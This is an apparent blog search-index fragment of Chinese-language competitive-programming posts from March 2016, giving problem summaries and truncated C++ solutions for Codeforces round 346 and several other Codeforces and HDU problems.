s,t; 73 cin\u003e\u003es\u003e\u003et; 74 LL res = abs(s-t); 75 76 f","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/bc-74-div1-1001-hdu-5636-shortest-path-floyd/","section":"Posts","summary":"题目链接 题意：有一条n个节点的链，节点i和节点j的距离为abs(i-j) 现在新增加三条边，距离也都为1，然后给出m个询问，每组询问给出两个点s,t，问s,t之间的最短距离。 思路：比赛的时候没搞出来。 观察特点，对于大多数点来说，都是没有直接的改变，只是增加了三条边。总的思路是：之前s到t的距离为abs(s-t),通过枚举中间经过的特殊点，观察是否能使得距离减小。","tags":["floyd","图论"],"title":"bc #74 div1 1001 || hdu 5636 Shortest Path (floyd？)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n+1个点，每次由i点到i+1点，每段线段之间保证不同向或者反向，第一个点和最后一个点保证重合。路径围城的封闭图形中间都是水，问有多少个危险点，使得如果在这个点忘记转弯就会掉进水里。 思路：搞了半天没搞出来qaq From the track description follows that Maria moves the way that the water always located to the right from her, so she could fall into the water only while turning left. To check if the turn is to the left, let’s give every Maria’s moves directions a number: moving to the north — 0, moving to the west — 1, to the south — 2 and to the east — 3. Then the turn is to the left if and only if the number of direction after performing a turn dir is equal to the number before performing a turn oldDir plus one modulo 4 . This solution has complexity O(n). 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 01时51分56秒 4File Name :code/cf/#346/D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1005; 34int n; 35int dir[N]; 36 37struct node 38{ 39 int x,y; 40 int getdir( node b) 41 { 42 if (x==b.x) 43 { 44 if (y\u003eb.y) return 0; 45 else return 2; 46 } 47 else 48 { 49 if (x\u003eb.x) return 1; 50 else return 3; 51 } 52 } 53}p[N]; 54 55int main() 56{ 57 #ifndef ONLINE_JUDGE 58 freopen(\"code/in.txt\",\"r\",stdin); 59 #endif 60 cin","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/codeforces-346-div-2-d-bicycle-race-/","section":"Posts","summary":"题目链接 题意：给出n+1个点，每次由i点到i+1点，每段线段之间保证不同向或者反向，第一个点和最后一个点保证重合。路径围城的封闭图形中间都是水，问有多少个危险点，使得如果在这个点忘记转弯就会掉进水里。","tags":["math","思维题","计算几何"],"title":"codeforces #346 div 2 D. Bicycle Race (思维，计算几何，公式)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意:有1E9个礼物，第i个礼物价钱是i,然后现在已经有n个不重复的礼物，a[i],m元钱，想尽可能多得买不同种类的礼物，还能买多少个。 思路：先不考虑已经买的，从1连续买到k,然后考虑子啊这个区间内已经买的，等于实际上没有花钱。 反正就是暴力搞啊搞啊。。我也不知道怎么搞。。 结果最后。。方案数为0的时候。。。最后一个答案我是单独输出的。。忘了判断了。。。所以会输出两个0.宝宝心里苦啊。。。。。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 00时00分03秒 4File Name :code/cf/#346/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E5+7; 34LL n,m; 35LL a[N]; 36LL sum[N]; 37set\u003cLL\u003ese; 38LL ans[N]; 39bool vis[N]; 40int main() 41{ 42 #ifndef ONLINE_JUDGE 43 freopen(\"code/in.txt\",\"r\",stdin); 44 #endif 45 ms(vis,false); 46// ios::sync_with_stdio(false); //注意这题可能会爆long long 47 cin\u003e\u003en\u003e\u003em; 48 sum[0] = 0LL; 49 for ( int i = 1 ; i \u003c= n ;i++) 50 { 51 cin\u003e\u003ea[i]; 52 sum[i] = sum[i-1] + a[i]; 53 se.insert(a[i]); 54 } 55 56 sort(a+1,a+n+1); 57 58 LL k; 59 for ( LL i =1 ; ; i++) 60 { 61 LL tmp =i*(i+1)/2; 62 if (tmp\u003em) 63 { 64 k = i-1; 65 break; 66 } 67 vis[i] = true; 68 } 69 LL cost = k*(k+1)/2; 70// cout\u003c\u003c\"k:\"\u003c\u003ck\u003c\u003cendl; 71 for ( int i = 1 ; i \u003c= n ; i++) 72 { 73 if (a[i]\u003c=k) 74 { 75 cost -= a[i]; 76 vis[a[i]] = false; 77 } 78 else 79 break; 80 } 81 82// cout\u003c\u003c\"cost:\"\u003c\u003ccost\u003c\u003cendl; 83// LL res = m-cost; 84// cout\u003c\u003c\"res:\"\u003c","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/codeforces-346-div-2-c-tanya-and-toys-/","section":"Posts","summary":"题目链接 题意:有1E9个礼物，第i个礼物价钱是i,然后现在已经有n个不重复的礼物，a[i],m元钱，想尽可能多得买不同种类的礼物，还能买多少个。 思路：先不考虑已经买的，从1连续买到k,然后考虑子啊这个区间内已经买的，等于实际上没有花钱。 反正就是暴力搞啊搞啊。。我也不知道怎么搞。。 结果最后。。方案数为0的时候。。。最后一个答案我是单独输出的。。忘了判断了。。。所以会输出两个0.宝宝心里苦啊。。。。。。。。","tags":["brute force","set","乱搞"],"title":"codeforces #346 div 2 C. Tanya and Toys (暴力乱搞)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出选手个数n，下面n行每个选手的信息“名字 区域编号 分数”.保证每个区域至少两个选手。问每个区域能否唯一确定一支二人的队伍（尽可能选分数高的，当要选的人里有分数相同的则不能确定。 思路：排序啊。。。然后搞啊。。结果发现思路没缕清。。。在某一个区域中，决定是否能唯一确定队伍的是第二个人和第三个人的成绩，和第一个人无关。 特殊处理一个区域只有两个人参加的，这种情况肯定能唯一确定队伍。 妈蛋，这种傻逼题卡了一个小时。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 16时00分23秒 4File Name :code/cf/#346/BB.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35int m; 36int cnt[N]; 37 38struct node 39{ 40 string nam; 41 int s; 42 bool operator \u003c(node b)const 43 { 44 return s\u003eb.s; 45 } 46}; 47 48vector\u003cnode\u003ev[N]; 49int main() 50{ 51 #ifndef ONLINE_JUDGE 52 freopen(\"code/in.txt\",\"r\",stdin); 53 #endif 54 55 cin\u003e\u003en\u003e\u003em; 56 ms(cnt,0); 57 for ( int i = 1 ; i \u003c= n ; i++) 58 { 59 string nam; 60 node tmp; 61 int x,y; 62 cin\u003e\u003enam\u003e\u003ex\u003e\u003ey; 63 tmp.nam = nam; 64 tmp.s = y; 65 v[x].push_back(tmp); 66 } 67 68 for ( int i = 1 ; i \u003c= m ; i++) //终点是第二个和第三个不能相等，和第一个没什么关系... 69 { //就算前两个相等，只要第二个不和第三个相等，那也有唯一解。 70 sort(v[i].begin(),v[i].end()); 71 72 if (v[i].size()==2) 73 { 74 cout\u003c\u003cv[i][0].nam\u003c\u003c\" \"\u003c\u003cv[i][1].nam\u003c\u003cendl; 75 continue; 76 } 77 if (v[i][1].s==v[i][2].s) 78 { 79 puts(\"?\"); 80 continue; 81 } 82 cout\u003c\u003cv[i][0].nam\u003c\u003c\" \"\u003c","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/codeforces-346-div-2-b-qualifying-contest-/","section":"Posts","summary":"题目链接 题意：给出选手个数n，下面n行每个选手的信息“名字 区域编号 分数”.保证每个区域至少两个选手。问每个区域能否唯一确定一支二人的队伍（尽可能选分数高的，当要选的人里有分数相同的则不能确定。 思路：排序啊。。。然后搞啊。。结果发现思路没缕清。。。在某一个区域中，决定是否能唯一确定队伍的是第二个人和第三个人的成绩，和第一个人无关。 特殊处理一个区域只有两个人参加的，这种情况肯定能唯一确定队伍。 妈蛋，这种傻逼题卡了一个小时。。。。","tags":["sortings"],"title":"codeforces #346 div 2 B. Qualifying Contest (排序)","type":"post"},{"categories":["ACM"],"content":"题目链接 水题 乱搞。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月30日 星期三 23时59分47秒 4File Name :code/cf/#346/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,a,b; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 cin\u003e\u003en\u003e\u003ea\u003e\u003eb; 40 a = a + b; 41 while (a\u003c=0) a+=n; 42 while (a\u003en) a-=n; 43 cout\u003c\u003ca\u003c\u003cendl; 44 45 #ifndef ONLINE_JUDGE 46 fclose(stdin); 47 #endif 48 return 0; 49}","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/codeforces-346-div-2-a-round-house/","section":"Posts","summary":"题目链接 水题 乱搞。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月30日 星期三 23时59分47秒 4File Name :code/cf/#346/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,a,b; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 cin\u003e\u003en\u003e\u003ea\u003e\u003eb; 40 a = a + b; 41 while (a\u003c=0) a+=n; 42 while (a\u003en) a-=n; 43 cout\u003c\u003ca\u003c\u003cendl; 44 45 #ifndef ONLINE_JUDGE 46 fclose(stdin); 47 #endif 48 return 0; 49}","tags":["算法竞赛"],"title":"codeforces #346 div 2 A. Round House","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个元素的序列，求出最大的a[i]%a[j] (i\u003e=j) 思路：没思路。。。。 Let us iterate over all different a__j. Since we need to maximize , then iterate all integer x (such_x_ divisible by a__j) in range from 2_a__j_ to M, where M — doubled maximum value of the sequence. For each such x we need to find maximum a__i, such a__i \u003c x. Limits for numbers allow to do this in time O(1) with an array. After that, update answer by value . Total time complexity is O(nlogn + MlogM) 题解也没有特别懂。。。感觉和筛法有点类似。 不过学到了一个o(1)时间得到小于x的最大数是多少的做法。 Sort the array and just maintain another array A of 10^6 elements whereindex i stores element just smaller than i For example consider sorted array [2,4,7,11], then A(0 indexed) will be [-1,-1,-1,2,2,4,4,4,7,7,7,7,11...] -1 means no element is smaller than i. 见代码中的b数组。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 14时23分39秒 4File Name :code/cf/problem/484B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int b[2*N]; 35int n ; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 cin\u003e\u003en; 42 ms(b,-1);//b[i]表示比小于等于a[i]的元素里最大的。 43 for ( int i = 1 ; i \u003c= n ; i++) 44 { 45 int ","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/484b/","section":"Posts","summary":"题目链接 题意：给出n个元素的序列，求出最大的a[i]%a[j] (i\u003e=j) 思路：没思路。。。。","tags":["乱搞"],"title":"codeforces 484 B Maximum Value (暴力乱搞)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个元素的序列，问能否得到一个新的序列，使得奇数位置非递减排列，偶数位数非递增排列。 思路：感觉一定可以啊。。。排序以后直接构造。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 14时05分11秒 4File Name :code/cf/problem/652B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int a[N]; 35int ans[N]; 36int n ; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 cin\u003e\u003en; 44 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 45 sort(a+1,a+n+1); 46 int cnt = 0 ; 47 for ( int i = 1 ; i \u003c= n ; i+=2) 48 { 49 ans[i] = a[++cnt]; 50 } 51 52 for ( int i = n/2*2 ; i \u003e= 1 ; i-=2) 53 { 54 ans[i] = a[++cnt]; 55 } 56 57 for ( int i = 1 ; i \u003c n ; i++) cout\u003c\u003cans[i]\u003c\u003c\" \"; 58 cout\u003c\u003cans[n]\u003c\u003cendl; 59 60 #ifndef ONLINE_JUDGE 61 fclose(stdin); 62 #endif 63 return 0; 64}","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/cf652b/","section":"Posts","summary":"题目链接 题意：给出n个元素的序列，问能否得到一个新的序列，使得奇数位置非递减排列，偶数位数非递增排列。 思路：感觉一定可以啊。。。排序以后直接构造。。。","tags":["构造"],"title":"codeforces 652 B. z-sort (简单构造)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出8个点，问能否构成一个8元素集合，使得x1/* *********************************************** Author :111qqz Created Time :2016年03月31日 星期四 13时39分27秒 File Name :code/cf/problem/334B.cpp ************************************************ */ #include #include #include #include #include #include #include #include #include #include #include #include #define fst first #define sec second #define lson l,m,rt«1 #define rson m+1,r,rt«1|1 #define ms(a,x) memset(a,x,sizeof(a)) typedef long long LL; #define pi pair \u003c int ,int \u003e #define MP make_pair using namespace std; const double eps = 1E-8; const int dx4[4]={1,0,0,-1}; const int dy4[4]={0,-1,1,0}; const int inf = 0x3f3f3f3f; const int N=1E6+7; pi a[N]; set\u003c pi \u003ese; bool solve() { 1if (a[1].fst==a[2].fst\u0026\u0026a[2].fst==a[3].fst\u0026\u0026a[3].fst!=a[4].fst\u0026\u0026a[4].fst==a[5].fst\u0026\u0026a[5].fst!=a[6].fst\u0026\u0026a[6].fst==a[7].fst\u0026\u0026a[7].fst==a[8].fst\u0026\u0026a[1].sec==a[4].sec\u0026\u0026a[4].sec==a[6].sec\u0026\u0026a[3].sec==a[5].sec\u0026\u0026a[5].sec==a[8].sec\u0026\u0026a[1].sec!=a[2].sec\u0026\u0026a[2].sec==a[7].sec) return true; 2return false; } int main() { 1#ifndef ONLINE_JUDGE 2freopen(\"code/in.txt\",\"r\",stdin); #endif 1for ( int i = 1 ; i \u003c= 8 ; i++) 2{ 3 cin\u003e\u003ea[i].fst\u003e\u003ea[i].sec; 4 se.insert(a[i]); 5} 6sort(a+1,a+9); 7if (solve()) 8{ 9 puts(\"respectable\"); 10} 11else 12{ 13 puts(\"ugly\"); 14} #ifndef ONLINE_JUDGE fclose(stdin); #endif 1return 0; }","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/cf334b/","section":"Posts","summary":"题目链接 题意：给出8个点，问能否构成一个8元素集合，使得x1/* *********************************************** Author :111qqz Created Time :2016年03月31日 星期四 13时39分27秒 File Name :code/cf/problem/334B.cpp ************************************************ */","tags":["brute force"],"title":"codeforces 334 B. Eight Point Sets (暴力)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个时间的开始和截止时间，保证没有两个时间的开始或者截止时间相同，问有多少个时间被包含在其他事件中。即aj \u003c ai and bi \u003c bj. 思路：没有两个事件的时间相同很关键。 那么我们可以直接按照开始时间为关键字排序，然后结束时间取之前发生了的（可能还没发生完）时间的结束时间的最大值即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 13时23分21秒 4File Name :code/cf/problem/137C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35pi a[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 cin\u003e\u003en; 42 for ( int i = 1; i \u003c= n ; i++) cin\u003e\u003ea[i].fst\u003e\u003ea[i].sec; 43 44 sort(a+1,a+n+1); 45 46 int r = a[1].sec; 47 int ans = 0 ; 48 for ( int i = 2 ; i \u003c= n ; i++) 49 { 50 if (a[i].sec\u003cr) ans++; 51 r = max(r,a[i].sec); 52 } 53 54 cout\u003c\u003cans\u003c\u003cendl; 55 56 #ifndef ONLINE_JUDGE 57 fclose(stdin); 58 #endif 59 return 0; 60}","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/cf137c/","section":"Posts","summary":"题目链接 题意：给出n个时间的开始和截止时间，保证没有两个时间的开始或者截止时间相同，问有多少个时间被包含在其他事件中。即aj \u003c ai and bi \u003c bj.","tags":["greedy","sortings"],"title":"codeforces 137 C. History (sorting,贪心)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个互不相同的元素和k,构成一个集合，使得集合中不存在两个元素满足y=kx,问能构成这样的集合的最大size是多少。 思路：set大法好。很重要的一点是题目中明确说每个元素都不重复。然后每次删掉元素x和元素xk,因为这两个元素最多留一个，然后答案+1. 需要注意k=1的特殊情况。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月30日 星期三 23时33分36秒 4File Name :code/cf/problem/274A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35LL k; 36set\u003cLL\u003ese; 37 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 cin\u003e\u003en\u003e\u003ek; 44 for ( int i = 1; i\u003c= n ; i++) 45 { 46 LL x; 47 cin\u003e\u003ex; 48 se.insert(x); 49 } 50 int ans = 0 ; 51 while (!se.empty()) 52 { 53 se.erase(*se.begin()*k); 54 if (k!=1) se.erase(*se.begin()); 55 ans++; 56 } 57 cout\u003c\u003cans\u003c\u003cendl; 58 59 60 61 #ifndef ONLINE_JUDGE 62 fclose(stdin); 63 #endif 64 return 0; 65}","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/cf274a/","section":"Posts","summary":"题目链接 题意：给出n个互不相同的元素和k,构成一个集合，使得集合中不存在两个元素满足y=kx,问能构成这样的集合的最大size是多少。 思路：set大法好。很重要的一点是题目中明确说每个元素都不重复。然后每次删掉元素x和元素xk,因为这两个元素最多留一个，然后答案+1. 需要注意k=1的特殊情况。","tags":["set"],"title":"codeforces 274 A. k-Multiple Free Set (set的妙用)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有n天的旅行，但是只剩下了m天的旅行记录，记录格式为d[i],h[d[i]]，表示第i个记录是第d[i]天的，高度为h[d[i]],相邻两天的高度之差的绝对值不超过1.问满足以上条件的最大的h是多少。无解输出impossible. 思路：为了练习二分。 二分高度，然后check是否合法。注意边界，所以可以添加两个点。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月30日 星期三 16时53分57秒 4File Name :code/cf/problem/538C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34const int M=1E9; //上界并不是h的最大值。。因为还可以继续往上走啊。。 35int n,m; 36int h[N],d[N]; 37 38 39 40bool check (int x) 41{ 42 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003cendl; 43 44 for ( int i = 1 ; i \u003c= m-1 ; i++) 45 { 46 if (x\u003ch[i]||x\u003ch[i+1]) return true; 47 int cost = abs(x-h[i]) + abs(h[i+1]-x); 48// cout\u003c\u003c\"cost:\"\u003c\u003ccost\u003c\u003cendl; 49 if (cost\u003c=d[i+1]-d[i]) return true; 50 } 51 return false; 52} 53int bin() 54{ 55 int l = 0 ; 56 int r = M ; 57 int mid; 58 while (l\u003c=r) 59 { 60 mid = (l+r)/2; 61 if (check(mid)) 62 l = mid + 1; 63 else r = mid -1; 64 } 65 if (r\u003eM) return -1; 66 return r; 67} 68int main() 69{ 70 #ifndef ONLINE_JUDGE 71 freopen(\"code/in.txt\",\"r\",stdin); 72 #endif 73 74 cin\u003e\u003en\u003e\u003em; 75 m++; 76 for ( int i = 2 ; i \u003c= m ; i++) cin\u003e\u003ed[i]\u003e\u003eh[i]; 77 78 d[1] = 1; 79 h[1] = h[2] + abs(d[2]-1); //为了处理端点，于是增加两个点。 80 m++; 81 d[m] = n; 82 h[m] = h","date":"2016-03-30","externalUrl":null,"permalink":"/2016/03/cf617e-2/","section":"Posts","summary":"题目链接 题意：有n天的旅行，但是只剩下了m天的旅行记录，记录格式为d[i],h[d[i]]，表示第i个记录是第d[i]天的，高度为h[d[i]],相邻两天的高度之差的绝对值不超过1.问满足以上条件的最大的h是多少。无解输出impossible. 思路：为了练习二分。 二分高度，然后check是否合法。注意边界，所以可以添加两个点。","tags":["binary search"],"title":"codeforces 617  C. Tourist's Notes (二分)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：没图不好描述，有中文题面中文题面，直接看吧。 思路：据说这道题有三种做法。 当时比赛一种都不会。 先说一种：做法是把格子看成点，可以到达的相邻格子之间看成有边相连，然后倒过来用并查集判断无向图的连通性。具体做法是：先统计初始所有空的位置，然后把所有要增加的山都加上（先统计空的位置是因为山之后要去掉，而去掉以后要得到该点的标号），然后将把所有空的点以及china(设标号为n*m+1)点,和india(**设标号为n*m+2) **点通过并查集来合并..可以从上往下从左往右，每次只需要判断上面的点和左边的点是否有空，如果有就用并查集合并。 china点和india点特殊搞就好。 然后判断india和china是否联通，如果是则输出-1.否则从最后添加的山开始移除，每次移除一座山，添加四个方向能添加的边（注意这里不要忘记如果改点在第0行或者第n-1行还要添加和china或者india的边） 然后移除后询问india和china是否联通 （root(china)==root(india)?） 如果时间i联通了，而i+1没有联通，说明时间i是两国最早的失去联系的时间。 第一次做这种题目，这种题目的一般做法都是倒过来做。貌似还有一个二分删除的山+bfs判断连通性的。。。？ 窝再搞搞看。 update :二分+bfs判断连通性。其实这个思路更常规。。做法就是字面意思。注意无解的判断即可。 并查集解法： 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月27日 星期日 20时11分02秒 4File Name :code/bc/#77/1003.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=505; 34char maze[N][N]; 35int f[N*N]; 36int n,m; 37int q; 38int p[N][N]; 39int china; 40int india; 41struct node 42{ 43 int x,y; 44 int id; 45 46}shan[N*N],kong[N*N]; 47 48int root ( int x) 49{ 50 if (x!=f[x]) f[x] = root (f[x]); 51 return f[x]; 52} 53 54void merge( int x,int y) 55{ 56 int rx = root (x); 57 int ry = root (y); 58// 